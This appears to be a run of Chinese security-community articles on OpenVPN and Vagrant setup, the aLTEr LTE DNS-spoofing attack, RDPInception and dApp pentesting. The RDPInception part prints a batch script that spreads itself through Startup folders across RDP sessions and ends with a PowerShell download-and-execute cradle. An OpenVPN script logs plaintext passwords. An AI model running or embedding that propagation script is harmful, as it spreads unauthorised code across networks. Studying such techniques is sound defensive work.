char user[MAX + 2], pass[MAX + 2], active[MAX + 2];
if (!(f = fopen("userpwd", "r")))
{
perror("Open PASSWORD file error");
printf("The password file not found\n");
return -1;
}
while (!feof(f))
{
fscanf(f, "%s %s %s\n", user, pass, active);
if (strcmp(username, user) == 0 && strcmp(password, pass) == 0 && strcmp(active, "1") == 0)
{
fclose(f);
return 0;
//验证通过应该返回0;
}
}
fclose(f);
return 1;
}
int main()
{
int status;
status = checkpsw(getenv("USERNAME"), getenv("PASSWORD"));
return status;
}
Python:
#!/bin/bash
#
# This script will authenticate OpenVPN users against
# a plain text file. The passfile should simply contain
# one row per user with the username first followed by
# one or more space(s) or tab(s) and then the password.
PASSFILE="/etc/openvpn/psw-file"
LOG_FILE="/var/log/openvpn/openvpn-password.log"
TIME_STAMP=`date "+%Y-%m-%d %T"`
###########################################################
if [ ! -r "${PASSFILE}" ]; then
echo "${TIME_STAMP}: Could not open password file \"${PASSFILE}\" for reading." >> ${LOG_FILE}
exit 1
fi
CORRECT_PASSWORD=`awk '!/^;/&&!/^#/&&$1=="'${username}'"{print $2;exit}' ${PASSFILE}`
if [ "${CORRECT_PASSWORD}" = "" ]; then
echo "${TIME_STAMP}: User does not exist: username=\"${username}\", password=\"${password}\"." >> ${LOG_FILE}
exit 1
fi
if [ "${password}" = "${CORRECT_PASSWORD}" ]; then
echo "${TIME_STAMP}: Successful authentication: username=\"${username}\"." >> ${LOG_FILE}
exit 0
fi
echo "${TIME_STAMP}: Incorrect password: username=\"${username}\", password=\"${password}\"." >> ${LOG_FILE}
exit 1
**客户端：**
client
proto tcp
dev tun
# 连接OpenVPNServer
remote 0.0.0.0 1194
remote-random
resolv-retry infinite
nobind
persist-key
persist-tun
ca ca.crt
# cert gttx-client-vpn.crt
# key gttx-client-vpn.key
auth-user-pass
auth-nocache
remote-cert-tls server
tls-auth ta.key 1
route-method exe
#保持服务端和客户端一致
cipher AES-256-CBC
comp-lzo
status openvpn-status.log
**部署过程中，开启日志很重要，遇到了毛病就看日志那些报错，找对问题去解决很关键.....不看日志就去百度，很耗费时间**
**部署成功后，如果客户端用Client，你应该会弹出连接窗口，输入pwd-file账户与密码，如下所示：**
**Ping试一试咋样：**
**发现没问题，起码OpenVPN这条线是没问题，这时候你要考虑如何转发呢？Server端如何做，iptables足够了，所以说利用Iptables做ip转发，简单如下：**
/etc/sysctl.conf 注释去掉 net.ipv4.ip_forward=1
sysctl -p
Iptables做路由Ip工作相关配置：
# Completed on Fri Aug 9 00:34:00 2019
# Generated by iptables-save v1.6.1 on Fri Aug 9 00:50:54 2019
*nat
:PREROUTING ACCEPT [121:8996]
:INPUT ACCEPT [95:7251]
:OUTPUT ACCEPT [30:2365]
:POSTROUTING ACCEPT [30:2365]
-A POSTROUTING -s 10.10.1.0/24 -j SNAT --to-source 10.66.0.1
-A POSTROUTING -s 10.10.1.0/24 -j SNAT --to-source 192.168.131.0
COMMIT
# Completed on Fri Aug 9 00:50:54 2019
# Generated by iptables-save v1.6.1 on Fri Aug 9 00:50:54 2019
*filter
:INPUT ACCEPT [605:70173]
:FORWARD DROP [24:1456]
:OUTPUT ACCEPT [371:31256]
-A INPUT -p tcp -m tcp --dport 12345 -j ACCEPT
-A FORWARD -m state --state RELATED,ESTABLISHED -j ACCEPT
-A FORWARD -p tcp -m tcp --dport 12345 -j ACCEPT
-A FORWARD -s 10.10.1.0/24 -d 192.168.131.0/24 -i tun0 -j ACCEPT
-A OUTPUT -p tcp -m tcp --sport 12345 -j ACCEPT
COMMIT
# Completed on Fri Aug 9 00:50:54 2019
**上述很快就布置完成，那就在客户端开ping，192.168.131.xx，发现不通.......，因为一开始Server是Windows，排查错误没有想着客户端排查，折腾许就在服务器端抓包发现OpenVPN根本没有接入.**
**所以调整思路，客户端抓包，果真路由的问题，因为客户端的网段也在192.168.XX.XX，下一跳的过程无法识别到底走那个网卡，按照本机网卡去跑的，客户端主机网卡去转发路由，并没有走OpenVPN这条路线，其实使用tracert追踪ip路由就可以判定如下：**
**这明显就有问题，那么发现了问题，看一下OpenVPNCllinet网卡：**
**客户端局域网Ip如下，所以ping
192.168.131.1的时候，走的是本机这跳网络，没有走OpenVPN，我们需要添加一条路由很明确的告诉他，如何在二层、三层走：**
route add 192.168.131.0 mask 255.255.255.0 10.10.1.2
**Windows下Vagrant安装：**
Vagrant下载：https://www.vagrantup.com/downloads.html
基础功能：
box系列
指令：vagrant box
Usage: vagrant box <subcommand> [<args>]
Available subcommands:
Add vagrant box add [options] <name, url, or path>
list
outdated
prune
remove
Repackage
Update
pull下载各种镜像：https://app.vagrantup.com/boxes/search
在线pull镜像：Vagrant box add https://app.vagrantup.com/generic/boxes/ubuntu1604
vagrant up
增加一个新的BOX之后，需要初始化init
Vagrant init name
查看状态
vagrant status
停止虚拟机
vagrant halt
销毁虚拟机
Vagrant destory [name|id]
Vagrant提供了api，可以远程调用端口，支持curl与Ruby两种格式，可以用Python封装curl实现调用.
★ 插件部署：
vagrant plugin install vagrant-scp
Vagrant global-status
# 拷贝虚拟机
vagrant scp /home/vincent/backend/go-dev/proxy-v default:~
★ 快照管理：
创建快照：
vagrant snapshot save your_snapshot_name
查看快照：
vagrant snapshot list
恢复快照：
vagrant snapshot restore your_snapshot_name
删除快照：
vagrant snapshot delete your_snapshot_name
**Vgrant只支持BOX镜像，也就是说Vgrant镜像，封装好的，如何去打包自己的镜像的？**
1.管理查看已有的虚拟机：
命令：VboxManage list vms
2.进入到虚拟机目录，然后执行如下操作：
命令：vagrant package --base ”虚拟机名称” --output 输出的os名称
3.打包成功后提示Compressing paCkage ro : //路径
4.vagrant box add zus2019 D:\virtualbox-1\boxtest\zus2019.box 添加打包后.box
**收集了一些常用的Vagrant指令，在这也分享一下：**
1、vagrant box list #box列表
2、添加box
vagrant box add (box_name) (file_path)
#添加box box_name 为box取的名称 file_path 系统镜像地址
vagrant box add (vagrant_box)
#添加box vagrant box网为vagrant box封装好的box镜像名称。
#vagrant box add laravel/homestead
#vagrant box add laravel/homestead --box-version=0.4.3
#下载指定版本的系统镜像
3、vagrant init (box_name)
#初始化 box_name 本地已安装的box名称
4、vagrant up #启动虚拟机
5、vagrant ssh #ssh登录虚拟机
6、vagrant halt #关掉虚拟机
7、vagrant reload #重启虚拟机
8、vagrant destroy #销毁虚拟机
9、vagrant suspend #虚拟机挂起
10、vagrant status #查看虚拟机运行状态
11、vagrant box remove (boxname) #删除指定的box环境
12、vagrant package #对开发环境进行打包
13、vagrant resume #重新恢复启动
上述内容虽然看起来部署挺快的，对于没有部署过的人来说还是非常耗时间与精力.....，环境搭建不容易，且搭且珍惜。 | 社区文章 |
# 谁说4G网络不能无线钓鱼攻击 —— aLTEr漏洞分析
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 一、关于无线钓鱼攻击
想必各位喜欢钻研安全技术的小伙伴们，对于WIFI网络的钓鱼攻击套路已经非常熟悉了。攻击者通过在例如星巴克之类的公共WIFI网络，使用同样的预共享秘钥，同样的SSID搭建一个恶意wifi，通过DNS
spoof的方式将受害者访问的站点重定向到自己做的钓鱼站点，从而获取用户的密码等关键信息[1]。
然而，最近披露的一个4G协议漏洞，对于LTE网络，也可以达到与WIFI钓鱼攻击类似的攻击效果，甚至威胁更大。下面且看360独角兽安全团队对该漏洞及攻击技巧的详细解析。
## 二、关于LTE用户面漏洞
GSMA 名人堂6月27日发布了该漏洞，独角兽团队第一时间对该漏洞进行了分析，以便各位同行能快速理解该漏洞精髓。
图 1 GSMA CVD 披露
该漏洞是LTE协议标准漏洞，产生原因是LTE标准在制定时为了提高短报文带宽利用率，对于用户面的数据，空口层面仅仅启用了加密，并没有像控制面数据一样，强制进行完整性保护。
这使得通过对运营商LTE网络中eNodeB与终端（手机等）之间的无线链路进行攻击，远程利用此漏洞，可以篡改用户的IP数据报文，作者将这个漏洞命名为ALTER攻击[2]。威胁更大的是，可以在无线电波层面，对LTE用户进行DNS
spoof攻击。
## 三、关于LTE空口的用户面与控制面
LTE的控制面用于传输信令，而数据面则用于传输用户的业务数据，例如承载语音通话，网页浏览的IP报文数据。
LTE中加密和完整性保护在PDCP层实现，下面两个图分别为LTE 空中接口（uu接口）控制面和用户面PDCP层功能示意图。
图 2 LTE 控制面PDCP层功能示意图
图 3 LTE 用户面 PDCP 层功能示意图
对比这两个图，我用红框标记部分，可以看到在LTE空中接口的控制面有加密和完整性保护，而在用户面则只有加密。事实上这个用户面加密在LTE标准中是可选的，当然运营商在部署时通常都会启用加密，但是该漏洞却与是否加密没有任何关系，即便运营商启用了用户面的加密，攻击依然可以成功进行。
## 四、攻击过程及原理
### 4.1 硬件平台
图 4 LTE 恶意中继示意图
实现这个攻击核心组件是LTE中继（Relay），即在运营商eNodeB
和手机之间插入一个LTE恶意中继，恶意中继由一个伪eNodeB和一个伪UE（终端，类似手机）组成。下行链路中，运营商eNodeB给真实UE（用户手机）发送的数据被伪UE接收，通过伪eNodeB发送给真实UE。上行链路中，真实UE给运营商eNodeB发送的数据则被伪eNodeB接收，通过伪UE发送给运营商的eNodeB。
这样所有真实UE与运营商之间的数据都会通过中继。
### 4.2 实现原理
当LTE网路启用用户面加密时，要发起攻击，首先需要解决的是在空口上绕过加密算法，修改IP报文数据。
**4.2.1 LTE加密原理**
从常规思维看，分组对称加密算法的密文只要被修改一个bit，会导致在解密时，分组中至少一半以上的bits放生变化，这是评价加密算法好坏的一个标准。从这个角度看，在LTE用户面启用加密时，似乎针对密文进行修改，并不会带来什么危害，数据顶多在恶意中继那透明的通过，恶意中继也无法解密，也无法受控的通过篡改密文达到修改明文的目的。然而这个思路对于流式加密并不适用，而LTE用户面数据恰好采用的是流式加密。
图 5 LTE 用户面数据加密/解密示意图
如图所示，LTE 的流式加密过程中，秘钥流生成器利用AS
key等一系列的参数产生密钥流，秘钥流与明文流异或后得到密文c。解密时则用秘钥流和密文流c异或得到明文m。
加密
Keystream XOR m = c；
解密
Keystream XOR c= m；
发送端和接收端使用相同的AES key 即相同的算法产生keystream。
**4.2.2 绕过加密任意篡改数据包**
图 6 插入攻击者之后的 LTE 用户面数据加密/解密示意图
图6为插入攻击者之后的LTE用户面数据加解密示意图，假定用特定的掩码mask和密文流c异或的到密文流c’，解密的时候得到的明文流为m’。
这个过程可以描述为
mask XOR c = c’;
Keystream XOR c’ = m’;
经过简单推导
Keystream XOR c’ XOR m = m’ XOR m;
Keystream XOR c’ XOR ( Keystream XOR c) = m’ XOR m;
Keystream XOR (Mask XOR c) XOR ( Keystream XOR c) = m’ XOR m;
可得到
Mask = m’ XOR m;
如果知道数据报文的原始明文，就可以得到篡改掩码Mask。
而对于移动数据网络，同一个运营商，同一个区域的DNS一般是固定的，很容易得到，所以大致可以猜测出DNS数据包的明文。然而，要做到DNS
spoof攻击，只需要修改UE发送的DNS请求中的IP地址而已，而IP地址在PDCP数据包中的偏移也是固定的，这使得修改操作更容易。现在遗留的问题变为怎么在众多PDCP帧中定位到DNS数据包。
**4.2.3 定位DNS数据包**
DNS请求数据一般比较短，可以尝试通过长度来区分，但是需要注意的是如何将同样短的TCP
SYN请求与DNS请求区分开来，作者通过大数据的方式，统计了移动网络中DNS请求的长度分布，分布图如下
图 7 PDCP IP 报文长度分布图
从这个图中可以看到下行DNS请求回应的长度与PDCP其他帧的长度有非常明显的区分度，毫不费力的可以区分出来，而对于上行的DNS请求，则可以通过猜测的方式，即对疑似DNS请求报文修改目标IP地址到自己控制的恶意DNS服务器，观察是否检测到DNS请求回应，如果收到回应，则说明修改的是一个DNS包，这个方法准确率很高。
**4.2.4 IP头检验和的处理**
修改IP后，会导致IP包的校验和改变，这里还得处理校验和，这里作者使用了修改TTL去补偿IP变动以保证整个IP头校验和不变的方法。我们知道TTL会随着IP包经过的路由逐跳减小。而对于上行链路空口截获的IP包从UE出来之后显然还没有经过任何路由，所以TTL还是默认值，这个默认值可以从UE操作系统的TCP/IP协议栈的默认设置中得到。而对于下行链路，我们不知道IP报文从我们的恶意DNS服务器发出后经过了多少路由，修改TTL补偿校验和的方式行不通，这里作者通过修改IP头中的标识区域来做补偿。
**4.2.5 UDP校验和处理**
对于上行链路，由于最终计算UDP校验和的程序显然在攻击者控制的恶意DNS 服务器上，因此可以通过修改协议栈源码的方式直接忽略。
对于下行链路，修改DNS服务器协议栈将UDP校验和直接设为0，DNS回应依然有效。
到此校验和问题解决。篡改LTE用户面数据的坑已经填完，整个攻击的原理也阐述完毕。
## 五、攻击演示
下面是攻击视频关键部分，即获取到受害者用户名，密码的部分
图 8 攻击结果图片，获取到受害者用户名及密码
原始视频地址：[https://www.youtube.com/watch?time_continue=1&v=3d6lzSRBHU8](https://www.youtube.com/watch?time_continue=1&v=3d6lzSRBHU8)
您的浏览器不支持video标签
## 六、威胁范围
由于该漏洞由LTE标准引入，针对于所有从LTE 演变而来的其他网络，例如NB-IOT, LTE-V，
以及未来的5G（依然没有启动强制性的用户面完整性保护），都有影响。
与WIFI下的DNS spoof钓鱼攻击相比，LTE空口DNS
spoof实现难度虽然要大得多，但攻击范围却比WIFI要大，LTE攻击并不需要像WIFI攻击一样，需要先破解预共享秘钥，因此抛开实现难度问题，成功率和覆盖面都比WIFI下的钓鱼攻击要强，威胁也更大。
由于该攻击发生于数据链路层，任何上层协议针对DNS可用的防护措施，例如DNSSEC，DTLS等在这里都将失效。唯一解决方案是修改LTE标准。
## 参考文献
[1] 360 PegasusTeam， 聊聊wifi攻击
<http://www.freebuf.com/articles/wireless/145259.html>
[2] Breaking LTE on Layer Two David Rupprecht等
<https://www.alter-attack.net/media/breaking_lte_on_layer_two.pdf>
[3] LTE用户面介绍 华为技术有限公司
审核人：yiwang 编辑：边边 | 社区文章 |
# 【技术分享】RDPInception：另类RDP攻击手段（附演示视频）
|
##### 译文声明
本文是翻译文章，文章来源：mdsec.co.uk
原文地址：<https://www.mdsec.co.uk/2017/06/rdpinception/>
译文仅供参考，具体内容表达以及含义原文为准。
译者：[興趣使然的小胃](http://bobao.360.cn/member/contribute?uid=2819002922)
预估稿费：140RMB
投稿方式：发送邮件至linwei#360.cn，或登陆网页版在线投稿
**一、前言**
系统管理员经常使用远程桌面（Remote
Desktop）来远程管理计算机。对许多机构及组织来说，这种行为意味着被远程访问的主机需要被放在DMZ区中或者只开放TCP 3389端口的隔离网络中。
在远程桌面中，用户可以“选择要在远程会话中使用的设备和资源”，这些设备或资源包括本地磁盘共享等，如下图所示：
已经有许多研究人员对远程桌面的攻击路径以及存在的安全风险进行了理论上的分析，其中经常被提及的一个安全风险就是接受远程桌面连接请求的目标服务器可以对连入的主机发起攻击。[ActiveBreach](https://www.mdsec.co.uk/services/red-teaming/)团队的[Vincent
Yiu](https://www.twitter.com/vysecurity)对这种名为RDPInception的攻击做了分析，提供了概念验证（PoC，proof
of
concept）脚本，利用这个脚本可以以递归方式对RDP服务器的访客发起攻击。ActiveBreach团队在模拟对抗演练中多次利用到了这种技术，取得了非常不错的效果。
**二、RDPInception攻击的相关概念**
RDPInception的攻击原理基于一个非常简单的概念，那就是“启动（Startup）”程序，也就是说，利用开始菜单中的“启动”目录强迫用户在登陆时执行代码。
考虑以下攻击场景：
在这个攻击场景中，攻击者已经攻陷了数据库服务器。管理员通过RDP方式连入跳板节点（Jump box），然后再利用RDP方式依次连入域控（Domain
Controller）、文件服务器以及数据库服务器。在这条连接路径中，攻击者可以在任意节点中发起RDPInception攻击。从理论上讲，只要管理员下次再次登录每台机器，攻击者就可以利用这种攻击方式获取整条路径中每台服务器的shell接口。在这个场景中，攻击者唯一需要的就是在DB001上发起RDPInception攻击，剩余的程序可以自动完成。
攻击者可以在受限环境中使用这种技术实施横向渗透攻击，无需用户凭证或利用漏洞。
**三、RDPInception的适用场景**
这种攻击技术最适合在高度受限的环境中使用，特别是当其他横向渗透技术以及权限提升技术无法完成任务时，攻击者就可以考虑使用这种方法。
此外，我们来考虑一种攻击场景，其中公司的某位员工在早上4点时通过远程方式登录服务器，整个登录会话持续了5分钟。在这种情况下，即使黑客能够持续不断地监视连入的RDP会话，也很难在这么短的时间内部署攻击环境。此外，这种监视动作很大，因为攻击者需要定期使用“query
user”命令来判断当前主机是否有RDP连入会话，如果攻击者每隔1小时查询一次RDP会话，那么在这种攻击场景中，攻击者就会错过良机。RDPInception技术完全不需要持续性监视RDP连入会话。
**四、RDPInception原理**
RDPInception的概念验证程序是一个较为简单的批处理脚本，详细步骤如下所示。
关闭echo功能。
@echo off
设置一个短期计时器，确保tsclient已被加载。
timeout 1 >nul 2>&1
在访客主机以及目标主机上创建临时目录。
mkdir \tsclientctemp >nul 2>&1
mkdir C:temp >nul 2>&1
将批处理脚本拷贝到临时目录中。
copy run.bat C:temp >nul 2>&1
copy run.bat \tsclientctemp >nul 2>&1
确保%TEMP%目录中不存在某个文本文件。
del /q %TEMP%temp_00.txt >nul 2>&1
在访客主机以及目标主机上搜索启动目录。
set dirs=dir /a:d /b /s C:users*Startup*
set dirs2=dir /a:d /b /s \tsclientcusers*startup*
echo|%dirs%|findstr /i “MicrosoftWindowsStart MenuProgramsStartup”>>”%TEMP%temp_00.txt”
echo|%dirs2%|findstr /i “MicrosoftWindowsStart MenuProgramsStartup”>>”%TEMP%temp_00.txt”
遍历这些目录，尝试将批处理脚本传播到这些目录中。
for /F “tokens=*” %%a in (%TEMP%temp_00.txt) DO (
copy run.bat “%%a” >nul 2>&1
copy C:temprun.bat “%%a” >nul 2>&1
copy \tsclientctemprun.bat “%%a” >nul 2>&1
)
清理%TEMP%文件。
del /q %TEMP%temp_00.txt >nul 2>&1
使用PowerShell来下载执行攻击程序。
powershell.exe <cradle here>
**五、攻击范围
**
为了在给定条件下精确筛选攻击目标，攻击者在下载或执行攻击载荷时通常会遵循某些约束条件。
以下环境变量经常作为约束条件使用，比如：
1、用户名
2、用户所在域
3、子网信息
比如，我们可以使用用户所在域对攻击脚本进行修改：
If “<DOMAINNAME>“==”%USERDOMAIN%” (<powershell cradle here>)
**六、RDPInception工具
**
我们上传了一个攻击[脚本](https://github.com/mdsecactivebreach/RDPInception/)，可以依托Cobalt
Strike框架自动化完成攻击过程，在这个项目中还有一个批处理脚本，大家可以自行修改以手动实施攻击，或者与其他工具（如Empire）配合使用。
如果你直接运行rdpinception，选择HTTP、HTTPS或者DNS类型的监听器，那么攻击过程就不会受到约束条件限制。
如果你以“rdpinception ACME”方式运行攻击脚本，那么攻击过程的约束条件就是ACME域，攻击脚本只会在加入到ACME域的主机上运行。
演示视频如下：
攻击所需的所有工具都可以从Github上的[ActiveBreach](https://github.com/mdsecactivebreach/RDPInception/)仓库中获取。 | 社区文章 |
英文原文：<https://arvanaghi.com/blog/pentesting-ethereum-dapps/>
译文来自安全客，译者：興趣使然的小胃
链接：<https://www.anquanke.com/post/id/146602>
#### 一、前言
所谓的以太坊（Ethereum）去中心化应用（decentralized application，dApp），指的就是基于共识协议（consensus
protocol）交互的应用。在本文中，我们选择的目标为dApp最常见的某类应用场景：与一个或者多个智能合约（smart
contracts）交互的常规Web应用。
当我们通过Web访问某个dApp时（比如使用[MetaMask](https://metamask.io/
"MetaMask")之类的扩展），我们就可以使用自己的私钥与网站交互，通过web接口对交易进行签名。
典型的dApp如下所示，这里我使用了web接口以及包含以太坊钱包的Chrome扩展来购买[Cryptokitty](https://arvanaghi.com/blog/pentesting-ethereum-dapps/cryptokitties.co "Cryptokitty")（区块链养猫）：
当浏览器与常规Web应用进行交互时，Web应用可能会与其他内部服务器、数据库或者云端再次交互。最后在我们看来，整个交互过程非常简单：
对于dApp，大多数交互过程与之类似，但这里还涉及到第三个元素：所有人都可以公开访问的智能合约。
与Web应用的某些交互操作涉及到读写以太坊区块链上的某个或者多个智能合约。
#### 二、多管齐下
dApp之所以会出现，目的是为了让最终用户能更加方便地与智能合约进行交互。但现在并没有明确的规定，要求我们必须通过dApp的Web接口来与dApp的智能合约交互。由于大家都可以公开访问智能合约，因此我们可以直接与智能合约交互，不受Web服务器处理逻辑的限制，这些处理逻辑可能会限制我们发起的具体交易。
目前为止，我们可以通过两种方式进行渗透测试：
1. 标准的Web应用渗透测试，涉及身份认证、访问控制以及会话管理等方面技术。
2. 智能合约审计。
换句话说，我们可以检查Web应用以及智能合约的处理逻辑，看这两者中是否存在逻辑错误。
由于以太坊中存在modifiers（修改器）特性，因此其实我们还可以挖掘出另一种方式进行渗透测试。
#### 三、Modifiers
在以太坊中，我们可以编写只能从特定以太坊地址调用才能执行的函数。onlyOwner就是modifier的一个典型实例，如果我们正确实现了onlyOwner，那么只有合约的所有者（owner）才能运行某些函数。
contract mortal {
/* Define variable owner of the type address */
address owner;
modifier onlyOwner {
require(msg.sender == owner);
_;
}
function writeData(bytes32 data) public onlyOwner returns (bool success) {
// will only run if owner sent transaction
}
...
}
虽然我们可以直接与智能合约进行交互，但如果正确实现了类似onlyOwner之类的modifier，我们就无法执行某些函数。然而在处理dApp时，Web服务器基本上都会保存对应特权地址的私钥数据，并且Web应用总是具备特定逻辑，可以接受用户在Web端的输入，然后使用其中某个私钥来调用智能合约中的某个特权函数。
由于dApp的确可以访问这些特权以太坊地址，那么第三条渗透测试分支就变成：“我们应该如何才能让dApp帮我们写入智能合约中的这些特权函数？”
考虑到这一点，现在我们的攻击面已经扩展为：
1. 标准的Web应用评估（身份认证、访问控制、会话管理）。这个过程可能不涉及到智能合约，只涉及到横向或者纵向的权限提升、数据库注入、XSS等。
2. 智能合约审计。权限问题、向上或者向下溢出、竞争条件等等。
3. 尝试通过Web接口伪造智能合约的写入权限。我们是否能找到一种方式，使Web应用以非预期的方式来与智能合约交互？
我之前写过一段话，可以用来描述dApp的攻击面：
> 想象一下有个普通的Web应用，可能带有各种安全漏洞。现在，想象一下有一款应用，具备如下特点：
>
> 1、从头开始构建自己的数据库软件；
>
> 2、将这些数据库对外开放；
>
> 3、有些时候这些数据库中会存有真金白银。
>
> 这就是以太坊dApp开发者所需要面临的安全挑战。
>
> — Brandon Arvanaghi (@arvanaghi) 2018年5月28日
#### 四、使用Burp拦截请求
当我们注册Cryptokitties账户时，Web应用的处理逻辑会从用户的MetaMask扩展中提取用户所公开的以太坊地址，随后，网站会要求我们输入邮箱地址以及账户昵称。
接下来这一步比较重要：由于dApps面向以太坊账户，因此基于的是公钥认证机制，而非密码认证机制。
因此，Cryptokitties会要求我们签名某条消息（“Cryptokitties”），确保我们拥有与该地址对应的私钥。
如果我们拦截这个请求，可以看到如下数据：
从理论上来讲，Cryptokitties会验证sign参数中的数据（即已签名的“Cryptokitties”消息）是否与address参数中的数据（即我们的以太坊地址）对应。
这个验证过程位于Web应用的处理逻辑中。我之前碰到过有些dApp没有正确处理签名验证过程，因此我可以将请求中的以太坊地址替换成与签名不匹配的以太坊地址，如下所示：
Cryptokitties可以正确处理签名验证逻辑，但如果某个dApp无法做到这一点，我就可以通过伪造的以太坊地址发起拒绝服务攻击，也可以在该应用上伪造账户身份。
#### 五、登录过程
[Bloom](https://bloom.co/
"Bloom")是最为高级的dApp之一，我们可以利用其[创建](https://app.bloom.co/signup
"创建")一个去中心化的身份标识。背后的原理就是将身份标识与用户的以太坊地址绑定，这样就不会像社会安全码（SSN）那样被窃取或者伪造。由于Bloom是迄今为止最为成熟的dApp之一，因此我向大家隆重推荐这款应用，如果大家还没有创建自己的[BloomID](https://app.bloom.co/signup
"BloomID")，可以考虑尝试一下。
Bloom在认证处理方面非常严格。注册账户后，后续过程中如果我们需要从以太坊地址进行登录，都需要签名一条消息，该消息中包含用户的意图（我正在登录）、邮箱地址以及当前时间。
Bloom为什么考虑对这些字段进行签名？原因有以下几点：
1、操作意图：如果用户不了解他们所签名的具体内容，那么签名以及发送签名数据有时候是比较危险的操作。Bloom在消息文本中明确给出了签名操作的具体意图。
2、邮箱地址：Bloom会从签名中恢复邮箱地址，检查该地址是否为签署消息的以太坊地址的注册邮箱。如果两者匹配，则此次登录为有效登录操作（在当前登录环节）。
3、时间戳：用来阻止重放攻击。如果签名中未包含当前时间信息，获得该签名数据的攻击者可以随时重放这些数据，以目标用户的身份进行认证。成功签名后，如果Web应用在几分钟的时间窗口内收到签名数据，Bloom会认为这个签名为有效签名。
如果任何一个字段被篡改，就会出现错误信息，这表明Bloom在认证机制方法处理得很好。
#### 六、智能合约漏洞
前面我们讨论了智能合约的某种攻击方式，直接分析了智能合约中是否存在安全漏洞。接下来我们来看一下现实环境中已挖掘出的某些漏洞。
##### batchOverflow
这个漏洞称之为batchOverflow漏洞，从名字中我们不难猜到这是一个溢出漏洞。
我发起了一次小测试，想看看大家是否有解决这个溢出漏洞的方法。在查看答案之前，大家可以试一下自己能否找到利用该漏洞的具体方法。
大家可以访问[此链接](https://medium.com/@peckshield/alert-new-batchoverflow-bug-in-multiple-erc20-smart-contracts-cve-2018-10299-511067db6536 "此链接")查看详细分析过程。
##### 重新初始化钱包所有者
我不会把这个漏洞归为“黑客攻击”范畴，但Parity的确因为没有正确实现某个modifier（我们前面分析过这方面内容）而损失惨重。此时任何人都可以调用initWallet函数，将自己的地址设置为该钱包的所有者。
通常情况下，钱包（或者合约）的所有者需要在合约的构造函数中进行设置，构造函数只会被调用一次。如果后续想修改该地址，就需要在某个函数的处理逻辑中进行操作，而该函数需要原先所有者的签名数据。这种情况下，由于不存在这类modifier，因此攻击者可以随时调用initWallet。
大家可以访问[此链接](https://blog.zeppelin.solutions/on-the-parity-wallet-multisig-hack-405a8c12e8f7 "此链接")查看详细分析过程。
#### 七、智能合约审计工具
在审计智能合约代码方面，已经存在一些非常强大的开源工具，其中包括Trail of
Bits的[Manticore](https://github.com/trailofbits/manticore
"Manticore")以及ConsenSys的[Mythril](https://github.com/ConsenSys/mythril.git
"Mythril")，我会在另一篇文章中详细介绍这些工具细节。
#### 八、总结
希望阅读本文后，大家可以更好地理解dApp的攻击面，也能了解dApp与标准Web应用之间的差异。
如果大家想了解以太坊或者区块链安全方面的更多内容，欢迎关注我的[推特](https://twitter.com/arvanaghi
"推特")，我会经常更新相关内容。
* * *
_本文经安全客授权发布，转载请联系安全客平台。_
* * * | 社区文章 |
### 概述
依稀记得半年前，曾在某安全社区表示过要还大家一个全网最强cms指纹识别，那时候的想法还是很简单，可能只需要搜集各方工具指纹特征，然后写个脚本遍历特征识别，再做一个ui，一个指纹识别的轮子就诞生了，但是很明显没有什么意义，我并没有这么去做，所以放了一段时间去思考，因为我坚信小功能也能搞出大事情。
### 为什么还要做指纹识别?
云悉情报平台的初衷很简单，也很粗暴，就是单纯的解放白帽子手里的大把工具，因为在安全界有这么一个现象：有编程能力的白帽子喜欢写工具，以至于同类的工具一找一大把，鉴于个人能力不同，可用性良莠不齐，有些工具“流芳百世”，有些“昙花一现”。
那么作为一个需要用情报搜集的白帽子来说，查询一个域名相关信息可能需要掏出一堆工具，在打开工具的时候心里其实还是会不自觉的寻思一下这工具会不会有后门，工具好不好用且不说，不同语言工具需要配置不同的环境可真的是难为人。
随着网络安全的普及，厂商在进步，白帽子的技术的进步，渗透手法层出不穷，但很多信息搜集渠道与工具却没有什么质的改变。
第一：这些工具的识别机制没有及时更新，但是web一直在变，因为大多数白帽子用的工具大部分是没有更新功能的，也就不存在更新优化这回事。
第二：白帽子需要的是轻便可用，用之即来，关闭即走，有多少人因为工具弄得麻烦还没有尽可能的搜集所有信息。
所以，云悉指纹作为情报平台的第一个应用，应运而生，它不是一个工具，也不是一个在线工具，而是一个可持续发展的平台。
传统的指纹识别工具的有以下通病：
1.指纹特征有限
2.如果个人丰富指纹库需要耗费大量的时间与精力，渠道也有限
3.工具识别机制不完善
4.效率有限
现在，这些琐事交给云悉即可，你负责用。
### 介绍一下云悉指纹
体验地址：<http://www.yunsee.cn/>
从初始的按指纹规则一个个遍历请求
判断结果脚本，到现在的云悉指纹经历了无数个版本迭代与无数次的性能调优，但每当看到白帽子对云悉的认可，回过头来，觉得一切的付出都是值得的。
#### 平台功能：
1.目前可识别CDN，WAF，容器及CMS指纹等信息。
2.目前可识别Wordpress版本等，国外部分cms版本，后面会支持更多版本信息查询。
3.个人中心支持申请API，可自行接入平台或工具使用。
4.支持指纹提交与指纹纠正，我们会认真人工核实每个指纹，以及所有误报提交我们都会人工纠正。
#### 识别方式：
指纹识别的技术点其实也还是众所周知的几个识别方向：
1.header判断
2.body关键词匹配
3.url md5对别
4.url状态码判断
5.404页面判断
#### 识别架构：
1.目前采用分布式识别，每个网站的识别请求由多台服务器分担，可以一定程度解决Waf频率拦截问题（后期将彻底解决频率问题）
2.识别优化：尽可能一个请求识别更多的特征。
#### 数据展示：
目前总指纹特征量：4896
识别次数：8300（上线4天）
总体识别率：63.2%
ps：在此感谢为平台提交指纹的白帽子们，也欢迎更多的白帽子加入到这个项目，为项目添砖加瓦。反馈各种Bug及提供更多的指纹库。
#### 误报问题：
我们有很大一部分时间在解决误报问题，为什么会误报？因为各种千奇百怪的网站都有啊。
有的Waf会瞬间拦截敏感请求，直接封ip
有的网站任意不存在页面返回200，而且不同后缀误报页面还不一样。
需要识别各种响应页，有的是debug页面，有的是Waf拦截，有的任意页面返回css，js，总之各种奇葩，需要尽可能的考虑各种场景。
#### 未来方向：
识别更快速，更精准，扩充更多指纹特征。
未来在指纹识别这一块可能会用机器学习去判断一些场景。
最重要的一点是，对于那些定制开发识别不了的网站，我们也会提供一些有价值的信息，暂时保密。
未来可能还有更长的路要走，因为还有情报平台等更多白帽子实用功能发布。
再次感谢所有白帽子对云悉情报平台的支持，鞠躬！
我们坚信，用心可以创造一切，功能再小全力以赴。
为了给大家提供一个好的交流学习环境，不定时赠送邀请码。
精华帖或长期活跃者，(有精华贴的，链接小窗口发我) 私聊Hades获取邀请码。 | 社区文章 |
**Author: p0wd3r, dawu (知道创宇404安全实验室)**
**Date: 2016-12-15**
## 0x00 漏洞概述
